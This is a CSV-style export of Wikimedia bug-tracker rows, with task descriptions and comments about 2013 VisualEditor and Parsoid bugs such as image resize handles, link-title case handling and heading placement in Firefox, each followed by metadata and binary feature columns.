+229245,VisualEditor: Image resize handles persist on close,Merged and will go out with wmf5.,,,1369454138,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2nyantno3ds7ohrifauv,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+229239,VisualEditor: Image resize handles persist on close,Related URL: https://gerrit.wikimedia.org/r/64917 (Gerrit Change I807a0f32d3d1eb490456d887f7bf867bdb896df4),,,1369220160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2nyantno3ds7ohrifauv,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+50524,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,"Once it exists being the relevant part. :-)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1368662820,1397867827.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_description,resolved,True,c1,1,True,False,False,-7,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+228892,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,"Change 127362 merged by jenkins-bot:
+Use Parsoid API for action=parsefragment
+
+https://gerrit.wikimedia.org/r/127362",,,1397866425,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+228888,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,"Change 127362 had a related patch set uploaded by Esanders:
+Use Parsoid API for action=parsefragment
+
+https://gerrit.wikimedia.org/r/127362",,,1397852463,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+228884,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,Does the API actually exist yet?,,,1397845488,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,True,,,41,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+228879,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,This should be done sooner rather than later.,,,1394493707,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+228874,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,*** Bug 62516 has been marked as a duplicate of this bug. ***,,,1394493657,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+228868,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,https://www.mediawiki.org/wiki/Parsoid#The_Parsoid_web_API has the API docs.,,,1386358351,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,True,,,22,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+228861,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,More detail please?,,,1386336562,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,True,,,22,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0
+228853,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,Not going to make beta at this rate.,,,1371780475,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+50520,VisualEditor: Switching back to 'Read' tab before 'Edit' tab has loaded throws an exception,"In ve.init.mw.ViewPageTarget.prototype.tearDownToolbar, this.toolbar is undefined if the editor hasn't finished loading.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1368653280,1368885093.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-f3bksoxide4n4n2plcfg,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+228672,VisualEditor: Switching back to 'Read' tab before 'Edit' tab has loaded throws an exception,Merged; will go out with wmf5.,,,1368885093,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f3bksoxide4n4n2plcfg,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+228665,VisualEditor: Switching back to 'Read' tab before 'Edit' tab has loaded throws an exception,Related URL: https://gerrit.wikimedia.org/r/64333 (Gerrit Change Ide5def0e983bab49108b40008fc170957c7fc2a2),,,1368809326,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f3bksoxide4n4n2plcfg,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+228658,VisualEditor: Switching back to 'Read' tab before 'Edit' tab has loaded throws an exception,"Actually, this is distinct.",,,1368655857,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f3bksoxide4n4n2plcfg,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+228653,VisualEditor: Switching back to 'Read' tab before 'Edit' tab has loaded throws an exception,"
+
+*** This bug has been marked as a duplicate of bug 47813 ***",,,1368654670,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f3bksoxide4n4n2plcfg,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+50476,VisualEditor: MWLinkTargetInputWidget should grok case sensitivity of suggested page title vs. the inputed text,"Screenshot of problem
+
+Scenario:
+* Document contains "" ... esams ... ""
+* Wiki has a page called ""Esams"".
+* Wiki does not have case-sensitive first character in the main namespace.
+* Select ""esams"" and turn it into a link
+* UI shows:
+  [ esams            ]
+  New page:
+    <redlink> esams
+  Matching page:
+    Esams
+    Esams cluster
+    Esams patches
+
+That first redlink is incorrect, it should show the same as when the input is ""Esams"" (with capital E), namely no ""redlink"" since the first match is in fact the input.
+
+It needs to account for the $wgCapitalLinkOverrides and $wgCapitalLinkOverrides configuration etc. This is abstracted in PHP by MWNamespace::isCapitalized, which is exposed in javascript as 'wgCaseSensitiveNamespaces' in mw.config.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+
+**Attached**: {F10838}",High,80.0,1368573360,1369183085.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-ukhmjz446wmy32ws4rzz,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+225603,VisualEditor: MWLinkTargetInputWidget should grok case sensitivity of suggested page title vs. the inputed text,Related URL: https://gerrit.wikimedia.org/r/64867 (Gerrit Change I66f5fc56554984af58d6223dc6cd76b3ab9940bd),,,1369174848,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ukhmjz446wmy32ws4rzz,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+225595,VisualEditor: MWLinkTargetInputWidget should grok case sensitivity of suggested page title vs. the inputed text,"Basically any normalisation causes this bug.
+
+also things like user:krinkle -> User:Krinkle, and localized namespaces and alias namespaces (Image>File).",,,1369174621,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ukhmjz446wmy32ws4rzz,task_subcomment,,True,c1,1,True,,,-6,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+225590,VisualEditor: MWLinkTargetInputWidget should grok case sensitivity of suggested page title vs. the inputed text,*** Bug 48433 has been marked as a duplicate of this bug. ***,,,1368720868,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ukhmjz446wmy32ws4rzz,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+50464,VisualEditor: Heading on a slug is created on the wrong line in Firefox,"1 Go to a page with several paragraphs. Edit with VisualEditor.
+
+2. Place cursor at the end of paragraph N and press Enter to create a new line. See the cursor blinking in a new line after paragraph N.
+
+3. Select ""Heading 2"" in the dropdown menu.
+
+EXPECTED
+
+A Heading 2 line appears at the end of paragraph N.
+
+
+ACTUAL OUTCOME
+
+A Heading 2 line appears at the end of paragraph N-1.
+
+
+As a matter of fact I find no way to place the header where I want, unless going to the end of paragraph N+1 only to trick the bug. Selecting an existing line and trying to make a header out of it doesn't seem to work either (but this is probably a different bug).
+
+Happens at least in mediawiki.org with Firefox 22.0a2 (2013-05-07).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1368554100,1372371426.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-frnef4dwspf2gymmanpq,task_description,resolved,True,c1,1,False,False,True,-7,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+225003,VisualEditor: Heading on a slug is created on the wrong line in Firefox,"(In reply to comment #2)
+> Yes, this works now. Thank you!
+> 
+> Just a little usability detail: after selecting the type of heading there is
+> no
+> cursor blinking. You can type and characters will appear where expected, but
+> of
+> course our old friend cursor-blinking is missed.
+
+Yes; Rob noticed this too, and is working on it - just created bug 50338 to track.",,,1372384505,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-frnef4dwspf2gymmanpq,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+224997,VisualEditor: Heading on a slug is created on the wrong line in Firefox,"Yes, this works now. Thank you!
+
+Just a little usability detail: after selecting the type of heading there is no cursor blinking. You can type and characters will appear where expected, but of course our old friend cursor-blinking is missed.",,,1372375315,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-frnef4dwspf2gymmanpq,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+224991,VisualEditor: Heading on a slug is created on the wrong line in Firefox,I believe we've fixed this now in production - please re-open if it recurs.,,,1372371426,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-frnef4dwspf2gymmanpq,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+50428,VisualEditor: Remove alpha notice,"When I go to use the VisualEditor (e.g., <https://www.mediawiki.org/wiki/Wikimedia_Engineering/2012-13_Goals> --> click ""edit""), there's a bothersome notice every time the VisualEditor form loads about how it's the alpha version of the tool. There's no way to dismiss the notice and it gets a bit grating after a while.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",High,80.0,1368496800,1371057658.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-dl4wjvv5i2ofxqjlq7lh,task_description,resolved,True,c1,1,False,False,True,-7,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+222968,VisualEditor: Remove alpha notice,Merged and will go out with wmf7 tomorrow.,,,1371057658,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dl4wjvv5i2ofxqjlq7lh,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+222960,VisualEditor: Remove alpha notice,Related URL: https://gerrit.wikimedia.org/r/68128 (Gerrit Change I725beec4e76dadfb1ccca873758f8f37b7f58a73),,,1370999898,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dl4wjvv5i2ofxqjlq7lh,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+222954,VisualEditor: Remove alpha notice,Change-Id: Ie289c39b963072e8a20aa29926dee1d199b6e4e8,,,1370298333,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dl4wjvv5i2ofxqjlq7lh,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+222950,VisualEditor: Remove alpha notice,"To do just before the ""alpha"" becomes a ""beta"".",,,1368497309,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dl4wjvv5i2ofxqjlq7lh,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0
+50426,VisualEditor: Pre-beta needs (tracker),"Tracker for the bugs/enhancements that should be done for the beta.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1368493800,1393640096.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tzlbyq77mfgatrefsaj3,task_description,invalid,True,c1,1,True,False,False,-7,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+513034,VisualEditor: Pre-beta needs (tracker),[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366],,,1440343629,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-tzlbyq77mfgatrefsaj3,task_subcomment,,True,c1,3,True,,,111,,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+222858,VisualEditor: Pre-beta needs (tracker),Bugs tracking bugs that track bugs aren't hugely useful; let's kill this one.,,,1393640096,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tzlbyq77mfgatrefsaj3,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0
+50387,Images: Image links are interpreted as image inclusions,"[[:File:SpecialPage_Filter_JS.png]]
+
+is being converted to:
+
+<a rel=""mw:Image"" href=""../File:SpecialPage_Filter_JS.png"" data-parsoid=""{&quot;tsr&quot;:[21446,21481],&quot;src&quot;:&quot;[[:File:SpecialPage Filter JS.png]]&quot;,&quot;dsr&quot;:[21446,21481,null,null]}""><img src=""../Special:FilePath/SpecialPage_Filter_JS.png?width=200"" alt=""SpecialPage_Filter_JS.png"" width=""200"" style=""vertical-align: middle;"" data-parsoid=""{}""></a>
+
+It should be an <a> without the <img> inside it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://parsoid.wmflabs.org/mw/User:Dantman/Code_Ideas",High,80.0,1368389040,1371761509.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_description,resolved,True,c1,1,True,False,True,-8,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+220518,Images: Image links are interpreted as image inclusions,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934030,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+220507,Images: Image links are interpreted as image inclusions,*** Bug 49891 has been marked as a duplicate of this bug. ***,,,1371769152,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+220497,Images: Image links are interpreted as image inclusions,Fixed by https://gerrit.wikimedia.org/r/#/c/69612/.,,,1371764117,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+220487,Images: Image links are interpreted as image inclusions,"(In reply to comment #2)
+> This affects VisualEditor on the English Wikipedia.
+
+I'm adding bug 48426 as a blocker.",,,1370921421,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+220481,Images: Image links are interpreted as image inclusions,*** Bug 49384 has been marked as a duplicate of this bug. ***,,,1370883912,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+220476,Images: Image links are interpreted as image inclusions,*** Bug 48669 has been marked as a duplicate of this bug. ***,,,1369114571,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-4k5gqkncjczqm4ffrhqk,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
